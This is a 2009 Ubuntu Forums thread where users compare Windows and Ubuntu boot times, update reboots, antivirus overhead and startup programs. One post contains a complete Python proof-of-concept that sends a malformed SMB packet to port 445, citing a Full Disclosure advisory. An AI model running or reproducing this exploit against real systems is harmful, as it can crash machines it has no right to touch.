Yes this is part of the problem, but lets compare an unupdated linux system. You boot up, you get an update manager popup, which you can cancel, and work on what you need to. Since Windows doesn't do package management, you have multiple popups (java+flash+antivirus+microsoft/itunes). This can quickly get annoying. I wish that Microsoft would come up with some sort of unified notification thingie. Also I suspect this affects bootup time.

2. Antivirus/Firewall
You definitely shouldn't run Windows without it, imo, unless you are willing to sacrifice the web on an RMS level. Unfortunately this takes up a ton of my windows resources. On fresh install, XP was fast. Vista was fast. Install some decent protection and it added to the sluggishness of the system, and it slowed down the boot up time.

3.Registry
Windows slows down with installs/uninstalls of programs, imo. Stuff like registry cleaners are even worse. As it slows the whole Windows experience suffers. I do not know if they have gotten rid of Registry in 7.

irv
September 10th, 2009, 02:11 PM
do you mean getting slower because of fragmentation or because of installing more software?

I have had many computer in the past that ran Windows, (Vista, XP, 2000, 98, etc) and everyone of them slowed down after running over time. Yes, because of fragmentation, which I ran defrag on. And installing software like Anti-Virus, spam blockers, and other malicious blocking software. Also when you install other software in windows it loads thing that will run at startup and this also slows down the boot process. So I would say it is a combination of things.

My son and I run a computer business out of my house, (I am retired and he does most of the work) and a lot of our business is cleaning up Windows machines by backing up files and doing a clean reinstall of the OS. After time we will be doing the same thing to the same computer.

I know my son doesn't want to see people go to Linux because it will bit into his business. And he is right, it will.

Gordy
September 10th, 2009, 02:19 PM
[QUOTE=chriskin;7923459]might be the heretic here, but my windows 7 installation boots faster than ubuntu 9.04.

Wait awhile and you will see Windows 7 is not what Microsoft would have you beleive. I ran Windows 7 for a few months and it did slow down just like Vista did. Microsoft uses the onion developement way of doing things. They just pile layers of crap on top of previous layers of crap. Nothing has actually changed. It just starts out that way until one day, you will experience slowdown little by little. Microsoft has actually done nothing new.

chriskin
September 10th, 2009, 02:23 PM
certain apps i installed on ubuntu make boot time (and shutdown time) slower.

virtual box for example :)

moster
September 10th, 2009, 02:35 PM
might be the heretic here, but my windows 7 installation boots faster than ubuntu 9.04.

what computer do you have? i have seen faster boot up times (updates included) even on an old single core i have somewhere around here

I guess your computer is DEEPLY IN LOVE with Windows and his computer is NOT.


or you tell a lie


hmmm.... tough one...

chriskin
September 10th, 2009, 02:53 PM
I guess your computer is DEEPLY IN LOVE with Windows and his computer is NOT.


or you tell a lie


hmmm.... tough one...


wow now many say that i lie
WAKE UP PEOPLE

ctrlmd
September 10th, 2009, 02:55 PM
started to update the Anti-virus. Again it rebooted and about 15 minutes later it was up and running. so you updated your anti-virus and it ask you for reboot

and it take you 15 minutes to get it up

right ?


:lolflag: what kind of antivirus ask for restart when its update ?
and what kind of machine takes 15 minutes to reboot ? :lolflag:

:guitar:

moster
September 10th, 2009, 03:08 PM
so you updated your anti-virus and it ask you for reboot

and it take you 15 minutes to get it up

right ?


:lolflag: what kind of antivirus ask for restart when its update ?
and what kind of machine takes 15 minutes to reboot ? :lolflag:

:guitar:
When updating virus definition there is no need for restart. BUT, when antivirus updates his own modules there is need for restart.

Some more smarter antivir do that on NEXT restart of windows so you do not actually do it manually but that is a MUST.

So experienced windows user and do not know that ccc ;)

ctrlmd
September 10th, 2009, 03:13 PM
When updating virus definition there is no need for restart. BUT, when antivirus updates his own modules there is need for restart.

Some more smarter antivir do that on NEXT restart of windows so you do not actually do it manually but that is a MUST.

So experienced windows user and do not know that ccc ;)
it does not restart unless you change your version from 6 to 7 etc or uninstall your anti-virus

and im win x lin user and gonna be mac also

irv
September 10th, 2009, 03:14 PM
certain apps i installed on ubuntu make boot time (and shutdown time) slower.

virtual box for example :)

Funny you should mention virtualbox.

While I was reading these posts a box popped up saying there was a new update for virtualbox. I just shut down WinXp that was running in virtualbox and shutdown virtualbox itself and downloaded and installed the update.

It took less that an minute to do this. And I kept on reading the posts.

And I didn't have to reboot Ubuntu, just WinXp and virtualbox.

calrogman
September 10th, 2009, 03:18 PM
And here is why I don't use Windows:

#!/usr/bin/python
from socket import socket
from time import sleep

host = "IP_ADDR", 445
buff = (
"\x00\x00\x00\x90"
"\xff\x53\x4d\x42"
"\x72\x00\x00\x00"
"\x00\x18\x53\xc8"
"\x00\x26"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\x ff\xfe"
"\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x 45\x54"
"\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x 20\x31"
"\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x 30\x00"
"\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x 20\x57"
"\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x 31\x61"
"\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x 02\x4c"
"\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x 20\x4c"
"\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x 32\x2e"
"\x30\x30\x32\x00"
)
s = socket()
s.connect(host)
s.send(buff)
s.close()


http://seclists.org/fulldisclosure/2009/Sep/0039.html

Just to protect myself from the people on here who may use this for malicious purposes:
The information contained within this post is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information.

chriskin
September 10th, 2009, 03:29 PM
Funny you should mention virtualbox.

While I was reading these posts a box popped up saying there was a new update for virtualbox. I just shut down WinXp that was running in virtualbox and shutdown virtualbox itself and downloaded and installed the update.

It took less that an minute to do this. And I kept on reading the posts.

And I didn't have to reboot Ubuntu, just WinXp and virtualbox.


if you upgrade virtualbox though, you will have to reinstall the kernel module manually AND restart :) don't forget what is not in favor of your point :)

knepig91
September 10th, 2009, 03:32 PM
Imo I really hate Windows Vista. I use ubuntu becuse you can easy make the system work and look like you want.
When Vista came out the computers had like 2G RAM and vista(and only the os vista) takes 1G. So that is 1G RAM left to use. And the computer lags, sometimes when you only have 2 programs on at the same time. Windows 7 seems to be alot better, atleast i hope

chriskin
September 10th, 2009, 03:36 PM
Imo I really hate Windows Vista

you probably understand that this means :
in my opinion, i really hate Windows Vista.
strange thing , like you're not sure

i can't say i hope anything for 7, can't get myself to boot to it too often

knepig91
September 10th, 2009, 03:40 PM
I mean that i think Vista came abit early and the computers where not ready for it. That is why it got so much credit and stuff. And that is why many people prefer Xp before Vista.

toupeiro
September 10th, 2009, 04:20 PM
This thread is uncanny.. Maybe I am missing something here, but it seems that from the very first post the op was talking about how windows Vista updates itself and how long that takes, and 90% of the threads after that were talking about bootup time comparasons with windows 7, which the op wasn't even running...

I have a windows 7 machine and a vista 64-bit machine running, and I also have server 2008 machines running. In my opinion, Microsoft OSes are still a long ways away from being able to patch as efficiently as ubuntu, especially with the inclusion of ksplice!

Now that I feel I've at least said something relavent to the OP's original post. Windows 7, vanilla, boots fast, as does ubuntu. If you are doing like hardware comparisons like I have then for me ubuntu still boots faster. Now on my main ubuntu install I have mysql databases, postgres databases and virtualbox installed which certainly added seconds to my bootup, but that realized addition is only 3 seconds longer than windows seven takes to boot with none of the additional apps and databases to support. Oh, and ubuntu still takes less ram than windows to function. So, I'm not saying anyone is lying when they say windows 7 can boot faster than ubuntu, but I doubt when you put windows 7 under the workload ubuntu can be put under, your results will show that result.

Johnsie
September 10th, 2009, 04:36 PM
Sounds like this is an issue with an application rather than Windows itself.

Yes, you could argue that on Linux you don't need a virus checker, but there are plenty of decent virus checkers for Windows that don't cause problems. With Ubuntu you would probably never even know if you did have a virus because on most systems there's no software in place to alert you ;-)

IMO opinion Windows 7 is alot better than Vista and the difference between boot times of Ubuntu and Windows 7 is minimal. However, Windows 7 seems to restore itself more quickly from hibernation than Ubuntu, as does XP.

The key to getting a quick start-up time on any system is making sure there is as little junk in the startup as possible. For Windows I would recommend using the "Startup Programs" section of Winpatrol to manage which applications appear at start-up. Most Linux programs don't put themselves into your startup, but there's nothing stopping them from doing so if the developers wanted to. A program doesn't need sudo to add itself into your Gnome startup.

Here's a link to WinPatrol:
http://winpatrol.com/

mamamia88
September 10th, 2009, 04:41 PM
i know what you mean i only have to shutdown my pc when i either want to add new hardware. in vista one of the most annoying things ever is booting up your computer after getting home from work wanting to check something online and when it boots up it has to update itself for half hour

chriskin
September 10th, 2009, 04:47 PM
come on , just make it NOT update by itself
problem solved :)
both the op's and the last sender :)

irv
September 10th, 2009, 05:39 PM
if you upgrade virtualbox though, you will have to reinstall the kernel module manually AND restart :) don't forget what is not in favor of your point :)

It never made me reinstall the kernel module manually and restart. Maybe you have it wrong. If I update the kernel I need to manually run the fix on the kernel to run virtualbox. The reason I need to do this is because the new installed kernel does not know I am running virtualbox and virtualbox need to modify the kernel before it will run. virtualbox is something I choose to run it has nothing to do with the OS in it's self.

I have never run virtualbox in Windows so I don't know how it works so I can't make any comments about this part.

akiratheoni
September 10th, 2009, 06:07 PM
The thing that makes me mad with Vista is when it says "ok i've installed updates, I'M GONNA RESTART YOUR COMPUTER WHETHER YOU LIKE IT OR NOT" and I really don't care about updates. Then it restarts my computer when I'm in the middle of doing something important. Why can't I control MY computer instead of letting it control me? :(

BuffaloX
September 10th, 2009, 06:11 PM
Do you think it's fair to compare the bundled drivers in a circa 2000 OS with the bundled drivers in a circa 2009 OS?


I think it's fair, because (arguably) Microsoft hasn't put out a better replacement yet.

Most Windows users are still on XP, every statistic says so.
Most Linux users are much more up to date, because Linux is free and much less hassle to upgrade.

MellonCollie
September 10th, 2009, 06:16 PM
The thing that makes me mad with Vista is when it says "ok i've installed updates, I'M GONNA RESTART YOUR COMPUTER WHETHER YOU LIKE IT OR NOT" and I really don't care about updates. Then it restarts my computer when I'm in the middle of doing something important. Why can't I control MY computer instead of letting it control me? :(

Here's a crazy suggestion: go change your Windows Update settings.

NightwishFan
September 10th, 2009, 06:22 PM
Windows does seem to boot and login faster, but I think it "cheats".

As in:
It is not fully booted up or logged in even when it appears so. When Ubuntu just hard boots up and does not just 'appear' ready. I am not saying this is a bad thing, just Windows is all in the kernel so it sacrifices a bit of stability to get the non flicker boot and such. I could be wrong feel free to correct me. I am a Linux guy, I do not know Windows.

irv
September 10th, 2009, 06:41 PM
Windows does seem to boot and login faster, but I think it "cheats".

As in:
It is not fully booted up or logged in even when it appears so. When Ubuntu just hard boots up and does not just 'appear' ready. I am not saying this is a bad thing, just Windows is all in the kernel so it sacrifices a bit of stability to get the non flicker boot and such. I could be wrong feel free to correct me. I am a Linux guy, I do not know Windows.

When Vista boots up and the Desktop appears you can click on programs to start them, but before they start, Windows is still loading startup program in the system tray and the Anti-Virus is not done loading either so in reality Windows is not ready to be used until all this is done. So when you are timing startup from a cold boot, you must include the startup of all these other thing before having a usable system.

As soon as my desktop and panel appears in Ubuntu the system is ready for use. And I find this much faster to a usable system.

NightwishFan
September 10th, 2009, 06:45 PM
Ubuntu Jaunty + XDM + TWM = Instaboot!

irv
September 10th, 2009, 07:02 PM
Ubuntu Jaunty + XDM + TWM = Instaboot!

Is there a howto out here about using XDM and TWM. I am not sure what they are? Do they replace the Gnome desktop? I see them in the package manager but I have never installed them because I am not sure what they were used for?

NightwishFan
September 10th, 2009, 07:10 PM
If you are an advanced user, you can install a alternate command line installation of ubuntu/debian. Then use apt to add XDM, which is like GDM for graphical login, only lighter. Then TWM, which is a lightweight standalone window manager. TWM is light but a bit odd, so I would go with icewm or fluxbox. This may involve a bit of configuration file editing.

Basically this will give you a system with basic command line utilities, and a lightweight graphical system. You can add any graphical utilites you want manually. Useful if you have no real GUI requirements, such as no wireless or bluetooth. You can also add a browser like Epiphany or Kazehakaze and not need Firefox, etc.

blur xc
September 10th, 2009, 07:41 PM
When Vista boots up and the Desktop appears you can click on programs to start them, but before they start, Windows is still loading startup program in the system tray and the Anti-Virus is not done loading either so in reality Windows is not ready to be used until all this is done. So when you are timing startup from a cold boot, you must include the startup of all these other thing before having a usable system.

As soon as my desktop and panel appears in Ubuntu the system is ready for use. And I find this much faster to a usable system.

Yup- my xp machine is pretty bad about that. It boots wicked fast, to the login screen, and after logging in, my desktop appears very quickly; But it takes at least as long, if not longer, than it took to get to the desktop to get to where I can actually do anything. The best I can do is click on some of my quick launchers and bog it down some more. Get a cup of coffee, and it's usually pretty close to ready when I get back.

And yeah, xp is an old os, but it's still the staple of corporate America. So, don't blame me for comparing a 10yr old os to a brand new one. Blame MS for taking over 10yrs to make a suitable replacement.

And I will concede that my work computer (my xp machine), doesn't reboot on me when I walk away. It installs updates on shut down at the end of the day. I never changed any settings. maybe it's a xp pro vs. xp home deal?

BM

Chronon
September 10th, 2009, 07:51 PM
Here's a crazy suggestion: go change your Windows Update settings.

I agree but it makes you wonder what kind of people would think it's sensible to default to rebooting the system without the local user's permission.

MellonCollie
September 10th, 2009, 08:15 PM
It's not a good default; no arguments from me there! I'm guessing they made it that way to force security patches down the throat of less-than-tech-savvy users who leave their PCs on all the time (or sleep). You know the kind? They're the ones running anti-virus software with a subscription that lapsed 2 years ago.

irv
September 10th, 2009, 08:38 PM
I am on the road today, and This is the third time I had to boot up my laptop today. This is where Ubuntu shines. The faster I can get into the OS the faster I can do thing. When I am running on Battery I don't want all my battery time being drained booting up. Also I use a little Applet called Power Manager Brightness so I can turn down the brightness of my screen to save on battery life. I know that Windows has something like this so it shouldn't be discuss here.
I guess I just see so many plus' in Ubuntu I am sold on it. I guess I just can't understand why everyone is not using it? I know the answer to this, but it still don't make any sense why no matter what the reason people use to why they are using Windows.

geoken
September 11th, 2009, 01:39 AM
I think it's fair, because (arguably) Microsoft hasn't put out a better replacement yet.

Most Windows users are still on XP, every statistic says so.
Most Linux users are much more up to date, because Linux is free and much less hassle to upgrade.

Fine, maybe I should restate my question. Do you think it's relevant to compare the two? Is their a benefit to using an OS that is virtually dead as the benchmark for features?

If you were building a car would you feel comfortable comparing your newest model to the competitors outgoing model, then justifying it based on sales; "Yeah, I know the brand new ____ was just released, but seeing as how there are a lot more of the older model on the road I'll benchmark my new car against that".